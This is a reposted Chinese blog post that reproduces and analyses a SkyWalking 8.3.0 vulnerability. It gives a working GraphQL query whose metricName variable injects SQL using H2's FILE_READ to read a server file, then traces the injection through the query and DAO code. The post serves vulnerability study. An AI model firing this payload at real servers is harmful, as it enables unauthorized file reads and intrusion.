码迷,mamicode.com
首页 > 其他好文 > 详细

Skywalking Rce 漏洞利用复现&分析

时间:2021-03-17 15:06:23      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:get   compile   环境   htm   hql   stat   select   语句   代码   

0x00 漏洞简介

看到先知各位师傅的复现文章了,借此机会复现学习一波graphql和h2数据库相关的知识。

0x01 环境搭建

下载源码进行编译

https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz

解压后,进行编译

./mvnw compile -Dmaven.test.skip=true

使用idea启动进行调试,直接点击OAPServerStartUp

技术图片

切换到skywalking-ui启动前台

npm run serve

技术图片

技术图片

0x02 漏洞利用

1、关于graphql

使用burpsuit或者graphiql执行graph语句进行利用,下图为读取文件

技术图片

关于上图中的graphql,详情可看这篇graphql入门

//query
query queryLogs($condition: LogQueryCondition) {
    queryLogs(condition: $condition) {
        logs{
          content
        }
  }
}
 
 
 
//query variables
{
        "condition":{
            "metricName":"INFORMATION_SCHEMA.USERS) union SELECT FILE_READ(‘/tmp/test.txt‘, NULL) where ?=1 or ?=1 or 1=1--",
            "paging":{
                "pageNum":1,
                "pageSize":1
            },
            "state":"ALL",
            "queryDuration":{
                "start":"2021-02-07 1554",
                "end":"2021-02-07 1554",
                "step":"MINUTE"
            }
        }
    }

(1)query可以理解为书查询树的根节点,其中queryLogs为调用的函数。

(2)queryLogs($condition: LogQueryCondition)的括号为插入一个condition变量,该变量的类型为LogQueryCondition,即传入的数值必须得有这样子的结构

技术图片

(3)第二个queryLogs中的参数condition表示传参字段,其内容为$condition,而$conditon内容被解析为query variables里边的内容。

(4)logs和content表示,返回内容为logs中的content字段

2、代码分析

从数据传入的源头开始分析,首先是doPost方法对post过来的数据进行处理

技术图片

在doPost方法中调用了execute方法处理传入的json数据

技术图片

最终调用graphql处理方法执行该语句

技术图片

poc中指向的查询函数为LogQuery,即如下方法为其实现逻辑

src/main/java/org/apache/skywalking/oap/query/graphql/resolver/LogQuery.java

技术图片

调用对应的queryLogs方法,最终进入dao方法中进行查询

技术图片

经过层层sql拼接

技术图片

最终进入h2数据库类的executequery进行语句执行

技术图片

最终通过拼接sql,进入数据库sql调用

技术图片

而底层调用的是h2数据库,所以我们可以根据h2特性进行后续的利用。详情可看 我的另外一篇blog

参考

https://xz.aliyun.com/t/9217

Skywalking Rce 漏洞利用复现&分析

标签:get   compile   环境   htm   hql   stat   select   语句   代码   

原文地址:https://www.cnblogs.com/0x28/p/14546966.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!